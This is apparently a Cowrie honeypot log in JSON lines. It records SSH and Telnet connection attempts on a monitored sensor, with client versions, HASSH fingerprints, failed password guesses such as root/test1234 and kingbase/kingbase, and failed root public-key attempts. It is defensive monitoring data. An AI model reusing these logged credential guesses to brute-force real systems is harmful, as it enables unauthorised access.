{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:15.285733Z","src_ip":"192.109.200.237","session":"113ce3bfd71e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42104,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5481a29692b","protocol":"ssh","message":"New connection: 192.109.200.237:42104 (159.203.135.109:22) [session: f5481a29692b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:17.356835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:17.362245Z","src_ip":"192.109.200.237","session":"f5481a29692b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:17.444600Z","src_ip":"192.109.200.237","session":"f5481a29692b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:17.692967Z","src_ip":"192.109.200.237","session":"f5481a29692b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:18.779189Z","src_ip":"192.109.200.237","session":"f5481a29692b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.55055785179138,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:20.394765Z","src_ip":"152.42.224.71","session":"d1bc08afb3c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44378,"dst_ip":"159.203.135.109","dst_port":22,"session":"e55159098358","protocol":"ssh","message":"New connection: 192.109.200.237:44378 (159.203.135.109:22) [session: e55159098358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:20.691599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:20.696333Z","src_ip":"192.109.200.237","session":"e55159098358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:20.778635Z","src_ip":"192.109.200.237","session":"e55159098358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:21.026463Z","src_ip":"192.109.200.237","session":"e55159098358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58138,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e734ad1f691","protocol":"telnet","message":"New connection: 152.42.224.71:58138 (10.17.0.5:23) [session: 5e734ad1f691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:21.734270Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:22.111629Z","src_ip":"192.109.200.237","session":"e55159098358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2787b3264aa","protocol":"ssh","message":"New connection: 192.109.200.237:44382 (159.203.135.109:22) [session: c2787b3264aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:23.995842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:24.001364Z","src_ip":"192.109.200.237","session":"c2787b3264aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:24.085242Z","src_ip":"192.109.200.237","session":"c2787b3264aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:24.484621Z","src_ip":"192.109.200.237","session":"c2787b3264aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:25.572846Z","src_ip":"192.109.200.237","session":"c2787b3264aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44392,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5ea8ada9e52","protocol":"ssh","message":"New connection: 192.109.200.237:44392 (159.203.135.109:22) [session: e5ea8ada9e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:27.564672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:27.569476Z","src_ip":"192.109.200.237","session":"e5ea8ada9e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:27.651952Z","src_ip":"192.109.200.237","session":"e5ea8ada9e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.242","src_port":49408,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d5e738233a1","protocol":"ssh","message":"New connection: 78.111.67.242:49408 (10.17.0.5:22) [session: 2d5e738233a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:27.881416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:27.886414Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:27.899485Z","src_ip":"192.109.200.237","session":"e5ea8ada9e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:27.977232Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:77:08:e0:3e:66:97:ff:99:cb:50:f6:23:03:26:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwxSHq/gB2eTaP8S46jNIBRDN2loM0F5YJUB5EAuHQVNsl9vvG8ek3OU2krB9LvQK2eVrddrxyhQahDr8uToRPOUc9ZnzxiZ75XKuHtoBqaTxnl5ldBIb2zUWvYfvTQD+C8y/g0egIJANBvohbuxuKJgvBeUWJEcnKMrGE7e7Hx0zvxAgVnLuIpRRk+GDPJaWglK1z68uY/msSXIqaV1xsayocjF+HuB4yhRA3sn4XKME4PhM2iulfw2MnbkRTReh+ddLX4n+JXCQ2IyvU8LBnuvlCvnJ2nXyEq+Azi1bPt4CrxDsG9epWd5XKUkVhGihcO6JrCFDosT2AK+LgtS8d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:77:08:e0:3e:66:97:ff:99:cb:50:f6:23:03:26:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.408583Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:77:08:e0:3e:66:97:ff:99:cb:50:f6:23:03:26:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwxSHq/gB2eTaP8S46jNIBRDN2loM0F5YJUB5EAuHQVNsl9vvG8ek3OU2krB9LvQK2eVrddrxyhQahDr8uToRPOUc9ZnzxiZ75XKuHtoBqaTxnl5ldBIb2zUWvYfvTQD+C8y/g0egIJANBvohbuxuKJgvBeUWJEcnKMrGE7e7Hx0zvxAgVnLuIpRRk+GDPJaWglK1z68uY/msSXIqaV1xsayocjF+HuB4yhRA3sn4XKME4PhM2iulfw2MnbkRTReh+ddLX4n+JXCQ2IyvU8LBnuvlCvnJ2nXyEq+Azi1bPt4CrxDsG9epWd5XKUkVhGihcO6JrCFDosT2AK+LgtS8d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.412725Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:5b:35:a1:d2:1b:46:9e:15:31:8c:f5:12:cd:e9:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoHOBqa/b1SF5Q2PG+kuh4lVuyL2iEyiZXpDuQ0w1P2CcEuhHNxkgc/VC/QF2PeieLpWmynYR07xsrWG/JdyfMvsoS/tKzICIr+hvTb86ZErdlraFgYxH8vuUMflmUrmxn8EhSZMd7SK7ysD7G28TBo+l+C6u76m+kKYo4oDXuLMd5PGmw5z1IgKrqkrBt6NHKby7iPzL6PpFWPKSPSJHn7s1gBqSt4AwDx8WzdOrUOAG37uoMorPcW/4gUPnznh8NnUaV8TCYMfQoaaU/f674ZTheeJ0tnqpv0QGLK2r+uF3SSQvJGbayBtRq+cEqlhm5/o7tSLHcpxEL3JsYso1Sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:5b:35:a1:d2:1b:46:9e:15:31:8c:f5:12:cd:e9:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.504956Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:5b:35:a1:d2:1b:46:9e:15:31:8c:f5:12:cd:e9:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoHOBqa/b1SF5Q2PG+kuh4lVuyL2iEyiZXpDuQ0w1P2CcEuhHNxkgc/VC/QF2PeieLpWmynYR07xsrWG/JdyfMvsoS/tKzICIr+hvTb86ZErdlraFgYxH8vuUMflmUrmxn8EhSZMd7SK7ysD7G28TBo+l+C6u76m+kKYo4oDXuLMd5PGmw5z1IgKrqkrBt6NHKby7iPzL6PpFWPKSPSJHn7s1gBqSt4AwDx8WzdOrUOAG37uoMorPcW/4gUPnznh8NnUaV8TCYMfQoaaU/f674ZTheeJ0tnqpv0QGLK2r+uF3SSQvJGbayBtRq+cEqlhm5/o7tSLHcpxEL3JsYso1Sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.509202Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:0c:b3:48:f8:40:37:05:63:bf:8a:33:cf:d2:6c:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr8Kl0y2lcD/kvHZRnLXQ+ZLQa5PVd1Fs71/525IjzcH9dAmUUmILyMFd0f7e9YwLk4kKm+72d4ZY+4Q5kFh+6fx5iZ+bYZE4nDhudGkyapce/pN/jOTV9lfRaF8cp4yGHzqSxdujU7xHmKsL1NIVooWGFd8hR7OxHKFXuP8ppk3Zmwtf61jeuvCbs7mRzRs48ivqQq7nB33j0SelEdXC9zhaOFRnNFxWAy//f+EBmtHuCchTLarjyxfYY3Xlb7wt8ivZGyH0VExVBVIUzD/AubOK2y9dQMCDAeTILzOsiMH8uYE4QmLqVor7CVopw8KjNm1NFRmy06jOuoIdGRIY1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:0c:b3:48:f8:40:37:05:63:bf:8a:33:cf:d2:6c:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.601556Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:0c:b3:48:f8:40:37:05:63:bf:8a:33:cf:d2:6c:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr8Kl0y2lcD/kvHZRnLXQ+ZLQa5PVd1Fs71/525IjzcH9dAmUUmILyMFd0f7e9YwLk4kKm+72d4ZY+4Q5kFh+6fx5iZ+bYZE4nDhudGkyapce/pN/jOTV9lfRaF8cp4yGHzqSxdujU7xHmKsL1NIVooWGFd8hR7OxHKFXuP8ppk3Zmwtf61jeuvCbs7mRzRs48ivqQq7nB33j0SelEdXC9zhaOFRnNFxWAy//f+EBmtHuCchTLarjyxfYY3Xlb7wt8ivZGyH0VExVBVIUzD/AubOK2y9dQMCDAeTILzOsiMH8uYE4QmLqVor7CVopw8KjNm1NFRmy06jOuoIdGRIY1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.605660Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:6f:68:38:c6:a8:e2:ba:5f:4c:fc:8f:82:08:30:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXXlrvMBgGllkwE758dKCcy3/LV+JSc7u9iSvH8tY7gcmLIeq33XQHgd2qUmdcwP3Lgl1i5SGIeTHH7PZ4+r/VEBHHtQLunL/fptiIeJKU8I+0Jfdh7CQDud4tvfExjktw5gfV/5+jHJ7BPT9/IBm5u8UZ0jxy3CvZ3zS/0RLMg/pY0zs6z0/TvrbaTJfGWXWvSMpz/vkZ5P0DqNTqvIEUOsWSVPxqfpbMiRcy6i/IjPTfo6oGfTtQfHjpQI4NfjDLe4n+mFi9Lc9GPaZKmgpDBdrqflFtUzq+tpu+pSmW1Wpk+ZVeztXa8yqNXkY6ovZs+gZ0uAh29MxiQEJ1de2r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:6f:68:38:c6:a8:e2:ba:5f:4c:fc:8f:82:08:30:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.697605Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:6f:68:38:c6:a8:e2:ba:5f:4c:fc:8f:82:08:30:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXXlrvMBgGllkwE758dKCcy3/LV+JSc7u9iSvH8tY7gcmLIeq33XQHgd2qUmdcwP3Lgl1i5SGIeTHH7PZ4+r/VEBHHtQLunL/fptiIeJKU8I+0Jfdh7CQDud4tvfExjktw5gfV/5+jHJ7BPT9/IBm5u8UZ0jxy3CvZ3zS/0RLMg/pY0zs6z0/TvrbaTJfGWXWvSMpz/vkZ5P0DqNTqvIEUOsWSVPxqfpbMiRcy6i/IjPTfo6oGfTtQfHjpQI4NfjDLe4n+mFi9Lc9GPaZKmgpDBdrqflFtUzq+tpu+pSmW1Wpk+ZVeztXa8yqNXkY6ovZs+gZ0uAh29MxiQEJ1de2r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.701877Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:54:79:a2:c3:36:ef:e8:54:ce:c5:50:d5:f7:f0:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPPD9wvTW14BRfIXwxzP+tdB0Pd/Vt5D2r8qhG9a62YaW7s+MEonpAaB1yWXw3a0CRQcUMD8VMV7e2itOISLnx4zBDuPEf/GItN5rmKEg5V1VnoJ7jhVc8lBzLPWGge0h9ufK9Pq0IE4dUmi6JrlFJ7PEHgd9ulvgJRnzQUbrWRJalVO9HdOi79zzNmX2cWzqPozS29KyVxpbN5FeBuAAQVqW+aJ0SZXCTkKK7idleHqPL1cCSm0zsMEv+RqN005NA9YFbzsO6G5T/t81oTh3HVF3QOYXKqk+W49RVkv1EwEM9fO7tfVwuB2oQge6Crtdy6YM3Hi/9Xn805NPS5b74vctBdM08nk/ONrImmknOnEdfmnHINXncgNUsHnvGy6bwdElQmIP6fOMg9RCGWYU7NJDIbc28BImGQ9/wPnsEYScTQMWiXcK2I1V6VIVQObVRb3Nuxo8aPlwOWQGZ14Kwsl+UUyTh9npRs6mnK4GajqK/G58sL8TDB0xA4ROXeqk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:54:79:a2:c3:36:ef:e8:54:ce:c5:50:d5:f7:f0:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.837274Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
